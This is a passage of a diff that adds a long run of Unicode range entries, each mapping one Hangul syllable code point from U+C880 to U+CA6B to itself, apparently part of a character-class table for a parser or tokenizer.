+ ["\uC880", "\uC880"], /* Hangul Syllable */
+ ["\uC881", "\uC881"], /* Hangul Syllable */
+ ["\uC882", "\uC882"], /* Hangul Syllable */
+ ["\uC883", "\uC883"], /* Hangul Syllable */
+ ["\uC884", "\uC884"], /* Hangul Syllable */
+ ["\uC885", "\uC885"], /* Hangul Syllable */
+ ["\uC886", "\uC886"], /* Hangul Syllable */
+ ["\uC887", "\uC887"], /* Hangul Syllable */
+ ["\uC888", "\uC888"], /* Hangul Syllable */
+ ["\uC889", "\uC889"], /* Hangul Syllable */
+ ["\uC88A", "\uC88A"], /* Hangul Syllable */
+ ["\uC88B", "\uC88B"], /* Hangul Syllable */
+ ["\uC88C", "\uC88C"], /* Hangul Syllable */
+ ["\uC88D", "\uC88D"], /* Hangul Syllable */
+ ["\uC88E", "\uC88E"], /* Hangul Syllable */
+ ["\uC88F", "\uC88F"], /* Hangul Syllable */
+ ["\uC890", "\uC890"], /* Hangul Syllable */
+ ["\uC891", "\uC891"], /* Hangul Syllable */
+ ["\uC892", "\uC892"], /* Hangul Syllable */
+ ["\uC893", "\uC893"], /* Hangul Syllable */
+ ["\uC894", "\uC894"], /* Hangul Syllable */
+ ["\uC895", "\uC895"], /* Hangul Syllable */
+ ["\uC896", "\uC896"], /* Hangul Syllable */
+ ["\uC897", "\uC897"], /* Hangul Syllable */
+ ["\uC898", "\uC898"], /* Hangul Syllable */
+ ["\uC899", "\uC899"], /* Hangul Syllable */
+ ["\uC89A", "\uC89A"], /* Hangul Syllable */
+ ["\uC89B", "\uC89B"], /* Hangul Syllable */
+ ["\uC89C", "\uC89C"], /* Hangul Syllable */
+ ["\uC89D", "\uC89D"], /* Hangul Syllable */
+ ["\uC89E", "\uC89E"], /* Hangul Syllable */
+ ["\uC89F", "\uC89F"], /* Hangul Syllable */
+ ["\uC8A0", "\uC8A0"], /* Hangul Syllable */
+ ["\uC8A1", "\uC8A1"], /* Hangul Syllable */
+ ["\uC8A2", "\uC8A2"], /* Hangul Syllable */
+ ["\uC8A3", "\uC8A3"], /* Hangul Syllable */
+ ["\uC8A4", "\uC8A4"], /* Hangul Syllable */
+ ["\uC8A5", "\uC8A5"], /* Hangul Syllable */
+ ["\uC8A6", "\uC8A6"], /* Hangul Syllable */
+ ["\uC8A7", "\uC8A7"], /* Hangul Syllable */
+ ["\uC8A8", "\uC8A8"], /* Hangul Syllable */
+ ["\uC8A9", "\uC8A9"], /* Hangul Syllable */
+ ["\uC8AA", "\uC8AA"], /* Hangul Syllable */
+ ["\uC8AB", "\uC8AB"], /* Hangul Syllable */
+ ["\uC8AC", "\uC8AC"], /* Hangul Syllable */
+ ["\uC8AD", "\uC8AD"], /* Hangul Syllable */
+ ["\uC8AE", "\uC8AE"], /* Hangul Syllable */
+ ["\uC8AF", "\uC8AF"], /* Hangul Syllable */
+ ["\uC8B0", "\uC8B0"], /* Hangul Syllable */
+ ["\uC8B1", "\uC8B1"], /* Hangul Syllable */
+ ["\uC8B2", "\uC8B2"], /* Hangul Syllable */
+ ["\uC8B3", "\uC8B3"], /* Hangul Syllable */
+ ["\uC8B4", "\uC8B4"], /* Hangul Syllable */
+ ["\uC8B5", "\uC8B5"], /* Hangul Syllable */
+ ["\uC8B6", "\uC8B6"], /* Hangul Syllable */
+ ["\uC8B7", "\uC8B7"], /* Hangul Syllable */
+ ["\uC8B8", "\uC8B8"], /* Hangul Syllable */
+ ["\uC8B9", "\uC8B9"], /* Hangul Syllable */
+ ["\uC8BA", "\uC8BA"], /* Hangul Syllable */
+ ["\uC8BB", "\uC8BB"], /* Hangul Syllable */
+ ["\uC8BC", "\uC8BC"], /* Hangul Syllable */
+ ["\uC8BD", "\uC8BD"], /* Hangul Syllable */
+ ["\uC8BE", "\uC8BE"], /* Hangul Syllable */
+ ["\uC8BF", "\uC8BF"], /* Hangul Syllable */
+ ["\uC8C0", "\uC8C0"], /* Hangul Syllable */
+ ["\uC8C1", "\uC8C1"], /* Hangul Syllable */
+ ["\uC8C2", "\uC8C2"], /* Hangul Syllable */
+ ["\uC8C3", "\uC8C3"], /* Hangul Syllable */
+ ["\uC8C4", "\uC8C4"], /* Hangul Syllable */
+ ["\uC8C5", "\uC8C5"], /* Hangul Syllable */
+ ["\uC8C6", "\uC8C6"], /* Hangul Syllable */
+ ["\uC8C7", "\uC8C7"], /* Hangul Syllable */
+ ["\uC8C8", "\uC8C8"], /* Hangul Syllable */
+ ["\uC8C9", "\uC8C9"], /* Hangul Syllable */
+ ["\uC8CA", "\uC8CA"], /* Hangul Syllable */
+ ["\uC8CB", "\uC8CB"], /* Hangul Syllable */
+ ["\uC8CC", "\uC8CC"], /* Hangul Syllable */
+ ["\uC8CD", "\uC8CD"], /* Hangul Syllable */
+ ["\uC8CE", "\uC8CE"], /* Hangul Syllable */
+ ["\uC8CF", "\uC8CF"], /* Hangul Syllable */
+ ["\uC8D0", "\uC8D0"], /* Hangul Syllable */
+ ["\uC8D1", "\uC8D1"], /* Hangul Syllable */
+ ["\uC8D2", "\uC8D2"], /* Hangul Syllable */
+ ["\uC8D3", "\uC8D3"], /* Hangul Syllable */
+ ["\uC8D4", "\uC8D4"], /* Hangul Syllable */
+ ["\uC8D5", "\uC8D5"], /* Hangul Syllable */
+ ["\uC8D6", "\uC8D6"], /* Hangul Syllable */
+ ["\uC8D7", "\uC8D7"], /* Hangul Syllable */
+ ["\uC8D8", "\uC8D8"], /* Hangul Syllable */
+ ["\uC8D9", "\uC8D9"], /* Hangul Syllable */
+ ["\uC8DA", "\uC8DA"], /* Hangul Syllable */
+ ["\uC8DB", "\uC8DB"], /* Hangul Syllable */
+ ["\uC8DC", "\uC8DC"], /* Hangul Syllable */
+ ["\uC8DD", "\uC8DD"], /* Hangul Syllable */
+ ["\uC8DE", "\uC8DE"], /* Hangul Syllable */
+ ["\uC8DF", "\uC8DF"], /* Hangul Syllable */
+ ["\uC8E0", "\uC8E0"], /* Hangul Syllable */
+ ["\uC8E1", "\uC8E1"], /* Hangul Syllable */
+ ["\uC8E2", "\uC8E2"], /* Hangul Syllable */
+ ["\uC8E3", "\uC8E3"], /* Hangul Syllable */
+ ["\uC8E4", "\uC8E4"], /* Hangul Syllable */
+ ["\uC8E5", "\uC8E5"], /* Hangul Syllable */
+ ["\uC8E6", "\uC8E6"], /* Hangul Syllable */
+ ["\uC8E7", "\uC8E7"], /* Hangul Syllable */
+ ["\uC8E8", "\uC8E8"], /* Hangul Syllable */
+ ["\uC8E9", "\uC8E9"], /* Hangul Syllable */
+ ["\uC8EA", "\uC8EA"], /* Hangul Syllable */
+ ["\uC8EB", "\uC8EB"], /* Hangul Syllable */
+ ["\uC8EC", "\uC8EC"], /* Hangul Syllable */
+ ["\uC8ED", "\uC8ED"], /* Hangul Syllable */
+ ["\uC8EE", "\uC8EE"], /* Hangul Syllable */
+ ["\uC8EF", "\uC8EF"], /* Hangul Syllable */
+ ["\uC8F0", "\uC8F0"], /* Hangul Syllable */
+ ["\uC8F1", "\uC8F1"], /* Hangul Syllable */
+ ["\uC8F2", "\uC8F2"], /* Hangul Syllable */
+ ["\uC8F3", "\uC8F3"], /* Hangul Syllable */
+ ["\uC8F4", "\uC8F4"], /* Hangul Syllable */
+ ["\uC8F5", "\uC8F5"], /* Hangul Syllable */
+ ["\uC8F6", "\uC8F6"], /* Hangul Syllable */
+ ["\uC8F7", "\uC8F7"], /* Hangul Syllable */
+ ["\uC8F8", "\uC8F8"], /* Hangul Syllable */
+ ["\uC8F9", "\uC8F9"], /* Hangul Syllable */
+ ["\uC8FA", "\uC8FA"], /* Hangul Syllable */
+ ["\uC8FB", "\uC8FB"], /* Hangul Syllable */
+ ["\uC8FC", "\uC8FC"], /* Hangul Syllable */
+ ["\uC8FD", "\uC8FD"], /* Hangul Syllable */
+ ["\uC8FE", "\uC8FE"], /* Hangul Syllable */
+ ["\uC8FF", "\uC8FF"], /* Hangul Syllable */
+ ["\uC900", "\uC900"], /* Hangul Syllable */
+ ["\uC901", "\uC901"], /* Hangul Syllable */
+ ["\uC902", "\uC902"], /* Hangul Syllable */
+ ["\uC903", "\uC903"], /* Hangul Syllable */
+ ["\uC904", "\uC904"], /* Hangul Syllable */
+ ["\uC905", "\uC905"], /* Hangul Syllable */
+ ["\uC906", "\uC906"], /* Hangul Syllable */
+ ["\uC907", "\uC907"], /* Hangul Syllable */
+ ["\uC908", "\uC908"], /* Hangul Syllable */
+ ["\uC909", "\uC909"], /* Hangul Syllable */
+ ["\uC90A", "\uC90A"], /* Hangul Syllable */
+ ["\uC90B", "\uC90B"], /* Hangul Syllable */
+ ["\uC90C", "\uC90C"], /* Hangul Syllable */
+ ["\uC90D", "\uC90D"], /* Hangul Syllable */
+ ["\uC90E", "\uC90E"], /* Hangul Syllable */
+ ["\uC90F", "\uC90F"], /* Hangul Syllable */
+ ["\uC910", "\uC910"], /* Hangul Syllable */
+ ["\uC911", "\uC911"], /* Hangul Syllable */
+ ["\uC912", "\uC912"], /* Hangul Syllable */
+ ["\uC913", "\uC913"], /* Hangul Syllable */
+ ["\uC914", "\uC914"], /* Hangul Syllable */
+ ["\uC915", "\uC915"], /* Hangul Syllable */
+ ["\uC916", "\uC916"], /* Hangul Syllable */
+ ["\uC917", "\uC917"], /* Hangul Syllable */
+ ["\uC918", "\uC918"], /* Hangul Syllable */
+ ["\uC919", "\uC919"], /* Hangul Syllable */
+ ["\uC91A", "\uC91A"], /* Hangul Syllable */
+ ["\uC91B", "\uC91B"], /* Hangul Syllable */
+ ["\uC91C", "\uC91C"], /* Hangul Syllable */
+ ["\uC91D", "\uC91D"], /* Hangul Syllable */
+ ["\uC91E", "\uC91E"], /* Hangul Syllable */
+ ["\uC91F", "\uC91F"], /* Hangul Syllable */
+ ["\uC920", "\uC920"], /* Hangul Syllable */
+ ["\uC921", "\uC921"], /* Hangul Syllable */
+ ["\uC922", "\uC922"], /* Hangul Syllable */
+ ["\uC923", "\uC923"], /* Hangul Syllable */
+ ["\uC924", "\uC924"], /* Hangul Syllable */
+ ["\uC925", "\uC925"], /* Hangul Syllable */
+ ["\uC926", "\uC926"], /* Hangul Syllable */
+ ["\uC927", "\uC927"], /* Hangul Syllable */
+ ["\uC928", "\uC928"], /* Hangul Syllable */
+ ["\uC929", "\uC929"], /* Hangul Syllable */
+ ["\uC92A", "\uC92A"], /* Hangul Syllable */
+ ["\uC92B", "\uC92B"], /* Hangul Syllable */
+ ["\uC92C", "\uC92C"], /* Hangul Syllable */
+ ["\uC92D", "\uC92D"], /* Hangul Syllable */
+ ["\uC92E", "\uC92E"], /* Hangul Syllable */
+ ["\uC92F", "\uC92F"], /* Hangul Syllable */
+ ["\uC930", "\uC930"], /* Hangul Syllable */
+ ["\uC931", "\uC931"], /* Hangul Syllable */
+ ["\uC932", "\uC932"], /* Hangul Syllable */
+ ["\uC933", "\uC933"], /* Hangul Syllable */
+ ["\uC934", "\uC934"], /* Hangul Syllable */
+ ["\uC935", "\uC935"], /* Hangul Syllable */
+ ["\uC936", "\uC936"], /* Hangul Syllable */
+ ["\uC937", "\uC937"], /* Hangul Syllable */
+ ["\uC938", "\uC938"], /* Hangul Syllable */
+ ["\uC939", "\uC939"], /* Hangul Syllable */
+ ["\uC93A", "\uC93A"], /* Hangul Syllable */
+ ["\uC93B", "\uC93B"], /* Hangul Syllable */
+ ["\uC93C", "\uC93C"], /* Hangul Syllable */
+ ["\uC93D", "\uC93D"], /* Hangul Syllable */
+ ["\uC93E", "\uC93E"], /* Hangul Syllable */
+ ["\uC93F", "\uC93F"], /* Hangul Syllable */
+ ["\uC940", "\uC940"], /* Hangul Syllable */
+ ["\uC941", "\uC941"], /* Hangul Syllable */
+ ["\uC942", "\uC942"], /* Hangul Syllable */
+ ["\uC943", "\uC943"], /* Hangul Syllable */
+ ["\uC944", "\uC944"], /* Hangul Syllable */
+ ["\uC945", "\uC945"], /* Hangul Syllable */
+ ["\uC946", "\uC946"], /* Hangul Syllable */
+ ["\uC947", "\uC947"], /* Hangul Syllable */
+ ["\uC948", "\uC948"], /* Hangul Syllable */
+ ["\uC949", "\uC949"], /* Hangul Syllable */
+ ["\uC94A", "\uC94A"], /* Hangul Syllable */
+ ["\uC94B", "\uC94B"], /* Hangul Syllable */
+ ["\uC94C", "\uC94C"], /* Hangul Syllable */
+ ["\uC94D", "\uC94D"], /* Hangul Syllable */
+ ["\uC94E", "\uC94E"], /* Hangul Syllable */
+ ["\uC94F", "\uC94F"], /* Hangul Syllable */
+ ["\uC950", "\uC950"], /* Hangul Syllable */
+ ["\uC951", "\uC951"], /* Hangul Syllable */
+ ["\uC952", "\uC952"], /* Hangul Syllable */
+ ["\uC953", "\uC953"], /* Hangul Syllable */
+ ["\uC954", "\uC954"], /* Hangul Syllable */
+ ["\uC955", "\uC955"], /* Hangul Syllable */
+ ["\uC956", "\uC956"], /* Hangul Syllable */
+ ["\uC957", "\uC957"], /* Hangul Syllable */
+ ["\uC958", "\uC958"], /* Hangul Syllable */
+ ["\uC959", "\uC959"], /* Hangul Syllable */
+ ["\uC95A", "\uC95A"], /* Hangul Syllable */
+ ["\uC95B", "\uC95B"], /* Hangul Syllable */
+ ["\uC95C", "\uC95C"], /* Hangul Syllable */
+ ["\uC95D", "\uC95D"], /* Hangul Syllable */
+ ["\uC95E", "\uC95E"], /* Hangul Syllable */
+ ["\uC95F", "\uC95F"], /* Hangul Syllable */
+ ["\uC960", "\uC960"], /* Hangul Syllable */
+ ["\uC961", "\uC961"], /* Hangul Syllable */
+ ["\uC962", "\uC962"], /* Hangul Syllable */
+ ["\uC963", "\uC963"], /* Hangul Syllable */
+ ["\uC964", "\uC964"], /* Hangul Syllable */
+ ["\uC965", "\uC965"], /* Hangul Syllable */
+ ["\uC966", "\uC966"], /* Hangul Syllable */
+ ["\uC967", "\uC967"], /* Hangul Syllable */
+ ["\uC968", "\uC968"], /* Hangul Syllable */
+ ["\uC969", "\uC969"], /* Hangul Syllable */
+ ["\uC96A", "\uC96A"], /* Hangul Syllable */
+ ["\uC96B", "\uC96B"], /* Hangul Syllable */
+ ["\uC96C", "\uC96C"], /* Hangul Syllable */
+ ["\uC96D", "\uC96D"], /* Hangul Syllable */
+ ["\uC96E", "\uC96E"], /* Hangul Syllable */
+ ["\uC96F", "\uC96F"], /* Hangul Syllable */
+ ["\uC970", "\uC970"], /* Hangul Syllable */
+ ["\uC971", "\uC971"], /* Hangul Syllable */
+ ["\uC972", "\uC972"], /* Hangul Syllable */
+ ["\uC973", "\uC973"], /* Hangul Syllable */
+ ["\uC974", "\uC974"], /* Hangul Syllable */
+ ["\uC975", "\uC975"], /* Hangul Syllable */
+ ["\uC976", "\uC976"], /* Hangul Syllable */
+ ["\uC977", "\uC977"], /* Hangul Syllable */
+ ["\uC978", "\uC978"], /* Hangul Syllable */
+ ["\uC979", "\uC979"], /* Hangul Syllable */
+ ["\uC97A", "\uC97A"], /* Hangul Syllable */
+ ["\uC97B", "\uC97B"], /* Hangul Syllable */
+ ["\uC97C", "\uC97C"], /* Hangul Syllable */
+ ["\uC97D", "\uC97D"], /* Hangul Syllable */
+ ["\uC97E", "\uC97E"], /* Hangul Syllable */
+ ["\uC97F", "\uC97F"], /* Hangul Syllable */
+ ["\uC980", "\uC980"], /* Hangul Syllable */
+ ["\uC981", "\uC981"], /* Hangul Syllable */
+ ["\uC982", "\uC982"], /* Hangul Syllable */
+ ["\uC983", "\uC983"], /* Hangul Syllable */
+ ["\uC984", "\uC984"], /* Hangul Syllable */
+ ["\uC985", "\uC985"], /* Hangul Syllable */
+ ["\uC986", "\uC986"], /* Hangul Syllable */
+ ["\uC987", "\uC987"], /* Hangul Syllable */
+ ["\uC988", "\uC988"], /* Hangul Syllable */
+ ["\uC989", "\uC989"], /* Hangul Syllable */
+ ["\uC98A", "\uC98A"], /* Hangul Syllable */
+ ["\uC98B", "\uC98B"], /* Hangul Syllable */
+ ["\uC98C", "\uC98C"], /* Hangul Syllable */
+ ["\uC98D", "\uC98D"], /* Hangul Syllable */
+ ["\uC98E", "\uC98E"], /* Hangul Syllable */
+ ["\uC98F", "\uC98F"], /* Hangul Syllable */
+ ["\uC990", "\uC990"], /* Hangul Syllable */
+ ["\uC991", "\uC991"], /* Hangul Syllable */
+ ["\uC992", "\uC992"], /* Hangul Syllable */
+ ["\uC993", "\uC993"], /* Hangul Syllable */
+ ["\uC994", "\uC994"], /* Hangul Syllable */
+ ["\uC995", "\uC995"], /* Hangul Syllable */
+ ["\uC996", "\uC996"], /* Hangul Syllable */
+ ["\uC997", "\uC997"], /* Hangul Syllable */
+ ["\uC998", "\uC998"], /* Hangul Syllable */
+ ["\uC999", "\uC999"], /* Hangul Syllable */
+ ["\uC99A", "\uC99A"], /* Hangul Syllable */
+ ["\uC99B", "\uC99B"], /* Hangul Syllable */
+ ["\uC99C", "\uC99C"], /* Hangul Syllable */
+ ["\uC99D", "\uC99D"], /* Hangul Syllable */
+ ["\uC99E", "\uC99E"], /* Hangul Syllable */
+ ["\uC99F", "\uC99F"], /* Hangul Syllable */
+ ["\uC9A0", "\uC9A0"], /* Hangul Syllable */
+ ["\uC9A1", "\uC9A1"], /* Hangul Syllable */
+ ["\uC9A2", "\uC9A2"], /* Hangul Syllable */
+ ["\uC9A3", "\uC9A3"], /* Hangul Syllable */
+ ["\uC9A4", "\uC9A4"], /* Hangul Syllable */
+ ["\uC9A5", "\uC9A5"], /* Hangul Syllable */
+ ["\uC9A6", "\uC9A6"], /* Hangul Syllable */
+ ["\uC9A7", "\uC9A7"], /* Hangul Syllable */
+ ["\uC9A8", "\uC9A8"], /* Hangul Syllable */
+ ["\uC9A9", "\uC9A9"], /* Hangul Syllable */
+ ["\uC9AA", "\uC9AA"], /* Hangul Syllable */
+ ["\uC9AB", "\uC9AB"], /* Hangul Syllable */
+ ["\uC9AC", "\uC9AC"], /* Hangul Syllable */
+ ["\uC9AD", "\uC9AD"], /* Hangul Syllable */
+ ["\uC9AE", "\uC9AE"], /* Hangul Syllable */
+ ["\uC9AF", "\uC9AF"], /* Hangul Syllable */
+ ["\uC9B0", "\uC9B0"], /* Hangul Syllable */
+ ["\uC9B1", "\uC9B1"], /* Hangul Syllable */
+ ["\uC9B2", "\uC9B2"], /* Hangul Syllable */
+ ["\uC9B3", "\uC9B3"], /* Hangul Syllable */
+ ["\uC9B4", "\uC9B4"], /* Hangul Syllable */
+ ["\uC9B5", "\uC9B5"], /* Hangul Syllable */
+ ["\uC9B6", "\uC9B6"], /* Hangul Syllable */
+ ["\uC9B7", "\uC9B7"], /* Hangul Syllable */
+ ["\uC9B8", "\uC9B8"], /* Hangul Syllable */
+ ["\uC9B9", "\uC9B9"], /* Hangul Syllable */
+ ["\uC9BA", "\uC9BA"], /* Hangul Syllable */
+ ["\uC9BB", "\uC9BB"], /* Hangul Syllable */
+ ["\uC9BC", "\uC9BC"], /* Hangul Syllable */
+ ["\uC9BD", "\uC9BD"], /* Hangul Syllable */
+ ["\uC9BE", "\uC9BE"], /* Hangul Syllable */
+ ["\uC9BF", "\uC9BF"], /* Hangul Syllable */
+ ["\uC9C0", "\uC9C0"], /* Hangul Syllable */
+ ["\uC9C1", "\uC9C1"], /* Hangul Syllable */
+ ["\uC9C2", "\uC9C2"], /* Hangul Syllable */
+ ["\uC9C3", "\uC9C3"], /* Hangul Syllable */
+ ["\uC9C4", "\uC9C4"], /* Hangul Syllable */
+ ["\uC9C5", "\uC9C5"], /* Hangul Syllable */
+ ["\uC9C6", "\uC9C6"], /* Hangul Syllable */
+ ["\uC9C7", "\uC9C7"], /* Hangul Syllable */
+ ["\uC9C8", "\uC9C8"], /* Hangul Syllable */
+ ["\uC9C9", "\uC9C9"], /* Hangul Syllable */
+ ["\uC9CA", "\uC9CA"], /* Hangul Syllable */
+ ["\uC9CB", "\uC9CB"], /* Hangul Syllable */
+ ["\uC9CC", "\uC9CC"], /* Hangul Syllable */
+ ["\uC9CD", "\uC9CD"], /* Hangul Syllable */
+ ["\uC9CE", "\uC9CE"], /* Hangul Syllable */
+ ["\uC9CF", "\uC9CF"], /* Hangul Syllable */
+ ["\uC9D0", "\uC9D0"], /* Hangul Syllable */
+ ["\uC9D1", "\uC9D1"], /* Hangul Syllable */
+ ["\uC9D2", "\uC9D2"], /* Hangul Syllable */
+ ["\uC9D3", "\uC9D3"], /* Hangul Syllable */
+ ["\uC9D4", "\uC9D4"], /* Hangul Syllable */
+ ["\uC9D5", "\uC9D5"], /* Hangul Syllable */
+ ["\uC9D6", "\uC9D6"], /* Hangul Syllable */
+ ["\uC9D7", "\uC9D7"], /* Hangul Syllable */
+ ["\uC9D8", "\uC9D8"], /* Hangul Syllable */
+ ["\uC9D9", "\uC9D9"], /* Hangul Syllable */
+ ["\uC9DA", "\uC9DA"], /* Hangul Syllable */
+ ["\uC9DB", "\uC9DB"], /* Hangul Syllable */
+ ["\uC9DC", "\uC9DC"], /* Hangul Syllable */
+ ["\uC9DD", "\uC9DD"], /* Hangul Syllable */
+ ["\uC9DE", "\uC9DE"], /* Hangul Syllable */
+ ["\uC9DF", "\uC9DF"], /* Hangul Syllable */
+ ["\uC9E0", "\uC9E0"], /* Hangul Syllable */
+ ["\uC9E1", "\uC9E1"], /* Hangul Syllable */
+ ["\uC9E2", "\uC9E2"], /* Hangul Syllable */
+ ["\uC9E3", "\uC9E3"], /* Hangul Syllable */
+ ["\uC9E4", "\uC9E4"], /* Hangul Syllable */
+ ["\uC9E5", "\uC9E5"], /* Hangul Syllable */
+ ["\uC9E6", "\uC9E6"], /* Hangul Syllable */
+ ["\uC9E7", "\uC9E7"], /* Hangul Syllable */
+ ["\uC9E8", "\uC9E8"], /* Hangul Syllable */
+ ["\uC9E9", "\uC9E9"], /* Hangul Syllable */
+ ["\uC9EA", "\uC9EA"], /* Hangul Syllable */
+ ["\uC9EB", "\uC9EB"], /* Hangul Syllable */
+ ["\uC9EC", "\uC9EC"], /* Hangul Syllable */
+ ["\uC9ED", "\uC9ED"], /* Hangul Syllable */
+ ["\uC9EE", "\uC9EE"], /* Hangul Syllable */
+ ["\uC9EF", "\uC9EF"], /* Hangul Syllable */
+ ["\uC9F0", "\uC9F0"], /* Hangul Syllable */
+ ["\uC9F1", "\uC9F1"], /* Hangul Syllable */
+ ["\uC9F2", "\uC9F2"], /* Hangul Syllable */
+ ["\uC9F3", "\uC9F3"], /* Hangul Syllable */
+ ["\uC9F4", "\uC9F4"], /* Hangul Syllable */
+ ["\uC9F5", "\uC9F5"], /* Hangul Syllable */
+ ["\uC9F6", "\uC9F6"], /* Hangul Syllable */
+ ["\uC9F7", "\uC9F7"], /* Hangul Syllable */
+ ["\uC9F8", "\uC9F8"], /* Hangul Syllable */
+ ["\uC9F9", "\uC9F9"], /* Hangul Syllable */
+ ["\uC9FA", "\uC9FA"], /* Hangul Syllable */
+ ["\uC9FB", "\uC9FB"], /* Hangul Syllable */
+ ["\uC9FC", "\uC9FC"], /* Hangul Syllable */
+ ["\uC9FD", "\uC9FD"], /* Hangul Syllable */
+ ["\uC9FE", "\uC9FE"], /* Hangul Syllable */
+ ["\uC9FF", "\uC9FF"], /* Hangul Syllable */
+ ["\uCA00", "\uCA00"], /* Hangul Syllable */
+ ["\uCA01", "\uCA01"], /* Hangul Syllable */
+ ["\uCA02", "\uCA02"], /* Hangul Syllable */
+ ["\uCA03", "\uCA03"], /* Hangul Syllable */
+ ["\uCA04", "\uCA04"], /* Hangul Syllable */
+ ["\uCA05", "\uCA05"], /* Hangul Syllable */
+ ["\uCA06", "\uCA06"], /* Hangul Syllable */
+ ["\uCA07", "\uCA07"], /* Hangul Syllable */
+ ["\uCA08", "\uCA08"], /* Hangul Syllable */
+ ["\uCA09", "\uCA09"], /* Hangul Syllable */
+ ["\uCA0A", "\uCA0A"], /* Hangul Syllable */
+ ["\uCA0B", "\uCA0B"], /* Hangul Syllable */
+ ["\uCA0C", "\uCA0C"], /* Hangul Syllable */
+ ["\uCA0D", "\uCA0D"], /* Hangul Syllable */
+ ["\uCA0E", "\uCA0E"], /* Hangul Syllable */
+ ["\uCA0F", "\uCA0F"], /* Hangul Syllable */
+ ["\uCA10", "\uCA10"], /* Hangul Syllable */
+ ["\uCA11", "\uCA11"], /* Hangul Syllable */
+ ["\uCA12", "\uCA12"], /* Hangul Syllable */
+ ["\uCA13", "\uCA13"], /* Hangul Syllable */
+ ["\uCA14", "\uCA14"], /* Hangul Syllable */
+ ["\uCA15", "\uCA15"], /* Hangul Syllable */
+ ["\uCA16", "\uCA16"], /* Hangul Syllable */
+ ["\uCA17", "\uCA17"], /* Hangul Syllable */
+ ["\uCA18", "\uCA18"], /* Hangul Syllable */
+ ["\uCA19", "\uCA19"], /* Hangul Syllable */
+ ["\uCA1A", "\uCA1A"], /* Hangul Syllable */
+ ["\uCA1B", "\uCA1B"], /* Hangul Syllable */
+ ["\uCA1C", "\uCA1C"], /* Hangul Syllable */
+ ["\uCA1D", "\uCA1D"], /* Hangul Syllable */
+ ["\uCA1E", "\uCA1E"], /* Hangul Syllable */
+ ["\uCA1F", "\uCA1F"], /* Hangul Syllable */
+ ["\uCA20", "\uCA20"], /* Hangul Syllable */
+ ["\uCA21", "\uCA21"], /* Hangul Syllable */
+ ["\uCA22", "\uCA22"], /* Hangul Syllable */
+ ["\uCA23", "\uCA23"], /* Hangul Syllable */
+ ["\uCA24", "\uCA24"], /* Hangul Syllable */
+ ["\uCA25", "\uCA25"], /* Hangul Syllable */
+ ["\uCA26", "\uCA26"], /* Hangul Syllable */
+ ["\uCA27", "\uCA27"], /* Hangul Syllable */
+ ["\uCA28", "\uCA28"], /* Hangul Syllable */
+ ["\uCA29", "\uCA29"], /* Hangul Syllable */
+ ["\uCA2A", "\uCA2A"], /* Hangul Syllable */
+ ["\uCA2B", "\uCA2B"], /* Hangul Syllable */
+ ["\uCA2C", "\uCA2C"], /* Hangul Syllable */
+ ["\uCA2D", "\uCA2D"], /* Hangul Syllable */
+ ["\uCA2E", "\uCA2E"], /* Hangul Syllable */
+ ["\uCA2F", "\uCA2F"], /* Hangul Syllable */
+ ["\uCA30", "\uCA30"], /* Hangul Syllable */
+ ["\uCA31", "\uCA31"], /* Hangul Syllable */
+ ["\uCA32", "\uCA32"], /* Hangul Syllable */
+ ["\uCA33", "\uCA33"], /* Hangul Syllable */
+ ["\uCA34", "\uCA34"], /* Hangul Syllable */
+ ["\uCA35", "\uCA35"], /* Hangul Syllable */
+ ["\uCA36", "\uCA36"], /* Hangul Syllable */
+ ["\uCA37", "\uCA37"], /* Hangul Syllable */
+ ["\uCA38", "\uCA38"], /* Hangul Syllable */
+ ["\uCA39", "\uCA39"], /* Hangul Syllable */
+ ["\uCA3A", "\uCA3A"], /* Hangul Syllable */
+ ["\uCA3B", "\uCA3B"], /* Hangul Syllable */
+ ["\uCA3C", "\uCA3C"], /* Hangul Syllable */
+ ["\uCA3D", "\uCA3D"], /* Hangul Syllable */
+ ["\uCA3E", "\uCA3E"], /* Hangul Syllable */
+ ["\uCA3F", "\uCA3F"], /* Hangul Syllable */
+ ["\uCA40", "\uCA40"], /* Hangul Syllable */
+ ["\uCA41", "\uCA41"], /* Hangul Syllable */
+ ["\uCA42", "\uCA42"], /* Hangul Syllable */
+ ["\uCA43", "\uCA43"], /* Hangul Syllable */
+ ["\uCA44", "\uCA44"], /* Hangul Syllable */
+ ["\uCA45", "\uCA45"], /* Hangul Syllable */
+ ["\uCA46", "\uCA46"], /* Hangul Syllable */
+ ["\uCA47", "\uCA47"], /* Hangul Syllable */
+ ["\uCA48", "\uCA48"], /* Hangul Syllable */
+ ["\uCA49", "\uCA49"], /* Hangul Syllable */
+ ["\uCA4A", "\uCA4A"], /* Hangul Syllable */
+ ["\uCA4B", "\uCA4B"], /* Hangul Syllable */
+ ["\uCA4C", "\uCA4C"], /* Hangul Syllable */
+ ["\uCA4D", "\uCA4D"], /* Hangul Syllable */
+ ["\uCA4E", "\uCA4E"], /* Hangul Syllable */
+ ["\uCA4F", "\uCA4F"], /* Hangul Syllable */
+ ["\uCA50", "\uCA50"], /* Hangul Syllable */
+ ["\uCA51", "\uCA51"], /* Hangul Syllable */
+ ["\uCA52", "\uCA52"], /* Hangul Syllable */
+ ["\uCA53", "\uCA53"], /* Hangul Syllable */
+ ["\uCA54", "\uCA54"], /* Hangul Syllable */
+ ["\uCA55", "\uCA55"], /* Hangul Syllable */
+ ["\uCA56", "\uCA56"], /* Hangul Syllable */
+ ["\uCA57", "\uCA57"], /* Hangul Syllable */
+ ["\uCA58", "\uCA58"], /* Hangul Syllable */
+ ["\uCA59", "\uCA59"], /* Hangul Syllable */
+ ["\uCA5A", "\uCA5A"], /* Hangul Syllable */
+ ["\uCA5B", "\uCA5B"], /* Hangul Syllable */
+ ["\uCA5C", "\uCA5C"], /* Hangul Syllable */
+ ["\uCA5D", "\uCA5D"], /* Hangul Syllable */
+ ["\uCA5E", "\uCA5E"], /* Hangul Syllable */
+ ["\uCA5F", "\uCA5F"], /* Hangul Syllable */
+ ["\uCA60", "\uCA60"], /* Hangul Syllable */
+ ["\uCA61", "\uCA61"], /* Hangul Syllable */
+ ["\uCA62", "\uCA62"], /* Hangul Syllable */
+ ["\uCA63", "\uCA63"], /* Hangul Syllable */
+ ["\uCA64", "\uCA64"], /* Hangul Syllable */
+ ["\uCA65", "\uCA65"], /* Hangul Syllable */
+ ["\uCA66", "\uCA66"], /* Hangul Syllable */
+ ["\uCA67", "\uCA67"], /* Hangul Syllable */
+ ["\uCA68", "\uCA68"], /* Hangul Syllable */
+ ["\uCA69", "\uCA69"], /* Hangul Syllable */
+ ["\uCA6A", "\uCA6A"], /* Hangul Syllable */
+ ["\uCA6B", "\uCA6B"], /* Hangul Syllable */
